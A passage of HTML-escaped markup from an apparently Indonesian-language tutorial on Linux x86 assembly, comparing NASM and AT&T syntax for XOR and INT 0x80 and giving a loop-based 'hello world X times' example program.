margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;XOR EBX,EAX&lt;/td&gt;&lt;td style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-size: 13px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;XOR %EAX,%EBX&lt;/td&gt;&lt;td style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-size: 13px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;XOR isi EBX dengan EAX, hasilnya disimpan di EBX&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;div align="justify" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-size: 13px; margin-bottom: 1em; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;&lt;strong style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-size: 13px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;Instruksi INT&lt;/strong&gt;&lt;/div&gt;&lt;div align="justify" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-size: 13px; margin-bottom: 1em; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;Instruksi INT digunakan untuk mengirim sinyal interrupt ke prosesor. Dalam contoh di atas kita memakai interrupt nomor 80 hexa untuk meminta layanan dari kernel.&lt;/div&gt;&lt;table border="0" style="-webkit-border-horizontal-spacing: 0px; -webkit-border-vertical-spacing: 0px; background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-collapse: collapse; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-size: 13px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;&lt;tbody style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-size: 13px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;&lt;tr style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-size: 13px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;&lt;th style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-size: 13px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;NASM/Intel&lt;/th&gt;&lt;th style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-size: 13px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;AT&amp;amp;T&lt;/th&gt;&lt;th style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-size: 13px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;Deskripsi&lt;/th&gt;&lt;/tr&gt;&lt;tr style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-size: 13px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;&lt;td style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-size: 13px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;INT 0×80&lt;/td&gt;&lt;td style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-size: 13px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;INT $0×80&lt;/td&gt;&lt;td style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-size: 13px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;Memanggil interrupt nomor 80 hexa&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;div style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-size: 13px; margin-bottom: 1em; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;&lt;strong style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-size: 13px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;Contoh Lain: Hello World X Times&lt;/strong&gt;&lt;/div&gt;&lt;div align="justify" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-size: 13px; margin-bottom: 1em; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;Kali ini kita akan memodifikasi program hello world di atas agar bisa menampilkan pesan yang sama berkali-kali tergantung dari argumen yang dimasukkan user.&lt;/div&gt;&lt;div class="wp_syntax" style="background-attachment: initial; background-clip: initial; background-color: #f9f9f9; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-color: silver; border-bottom-style: solid; border-bottom-width: 1px; border-color: initial; border-left-color: silver; border-left-style: solid; border-left-width: 1px; border-right-color: silver; border-right-style: solid; border-right-width: 1px; border-style: initial; border-top-color: silver; border-top-style: solid; border-top-width: 1px; color: #110000; font-size: 13px; margin-bottom: 1.5em; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; overflow-x: auto; overflow-y: hidden; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline; width: 579px;"&gt;&lt;div class="code" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-size: 13px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 2px; padding-left: 4px; padding-right: 4px; padding-top: 2px; vertical-align: top;"&gt;&lt;pre class="asm" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; clear: none; float: none; font-family: monospace; font-size: 12px; line-height: 1.333; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; overflow-x: visible; overflow-y: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline; white-space: pre; width: auto;"&gt;section &lt;span style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #339933; font-size: 12px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;.&lt;/span&gt;text&lt;br /&gt;&amp;nbsp;&lt;br /&gt;global _start&lt;br /&gt;&amp;nbsp;&lt;br /&gt;_start&lt;span style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #339933; font-size: 12px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;:&lt;/span&gt;&lt;br /&gt;&lt;span style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #00007f; font-size: 12px; font-weight: bold; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;pop&lt;/span&gt; &lt;span style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #00007f; font-size: 12px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;eax&lt;/span&gt; &lt;span style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #666666; font-size: 12px; font-style: italic; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;; pop number of argc (diabaikan)&lt;/span&gt;&lt;br /&gt;&lt;span style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #00007f; font-size: 12px; font-weight: bold; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;pop&lt;/span&gt; &lt;span style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #00007f; font-size: 12px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;eax&lt;/span&gt; &lt;span style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #666666; font-size: 12px; font-style: italic; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;; pop argv[0] (diabaikan karena berisi nama program)&lt;/span&gt;&lt;br /&gt;&lt;span style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #00007f; font-size: 12px; font-weight: bold; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;pop&lt;/span&gt; &lt;span style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #00007f; font-size: 12px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;eax&lt;/span&gt; &lt;span style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #666666; font-size: 12px; font-style: italic; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;; pop argv[1] (ini dipakai untuk stringtoint)&lt;/span&gt;&lt;br /&gt;&lt;span style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #00007f; font-size: 12px; font-weight: bold; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;call&lt;/span&gt; stringtoint &lt;span style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #666666; font-size: 12px; font-style: italic; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;; ECX berisi argumen bertipe integer sebagai counter&lt;/span&gt;&lt;br /&gt;&amp;nbsp;&lt;br /&gt;_print&lt;span style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #339933; font-size: 12px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;:&lt;/span&gt;&lt;br /&gt;&lt;span style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #00007f; font-size: 12px; font-weight: bold; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;push&lt;/span&gt; &lt;span style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #00007f; font-size: 12px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;ecx&lt;/span&gt;              &lt;span style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #666666; font-size: 12px; font-style: italic; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;; selamatkan counter di stack karena ECX dipakai juga di _print_hello&lt;/span&gt;&lt;br /&gt;&lt;span style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #00007f; font-size: 12px; font-weight: bold; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;call&lt;/span&gt; _print_hello     &lt;span style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #666666; font-size: 12px; font-style: italic; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;; print hello world&lt;/span&gt;&lt;br /&gt;&lt;span style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #00007f; font-size: 12px; font-weight: bold; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;pop&lt;/span&gt; &lt;span style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #00007f; font-size: 12px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;ecx&lt;/span&gt;               &lt;span style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #666666; font-size: 12px; font-style: italic; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;; ambil lagi counter dari stack karena akan dipakai untuk looping&lt;/span&gt;&lt;br /&gt;&lt;span style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #00007f; font-size: 12px; font-weight: bold; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;loop&lt;/span&gt; _print           &lt;span style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #666666; font-size: 12px; font-style: italic; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;; kurangi ECX dengan 1, bila belum 0 kembali ke _print&lt;/span&gt;&lt;br /&gt;&amp;nbsp;&lt;br /&gt;&lt;span style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #666666; font-size: 12px; font-style: italic; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;; ini system call exit(0)&lt;/span&gt;&lt;br /&gt;&lt;span style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #00007f; font-size: 12px; font-weight: bold; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;mov&lt;/span&gt; &lt;span style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #00007f; font-size: 12px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;ebx&lt;/span&gt;&lt;span style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #339933; font-size: 12px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;,&lt;/span&gt;&lt;span style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: blue; font-size: 12px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;0&lt;/span&gt;&lt;br /&gt;&lt;span style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #00007f; font-size: 12px; font-weight: bold; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;mov&lt;/span&gt; &lt;span style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #00007f; font-size: 12px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;eax&lt;/span&gt;&lt;span style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #339933; font-size: 12px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; 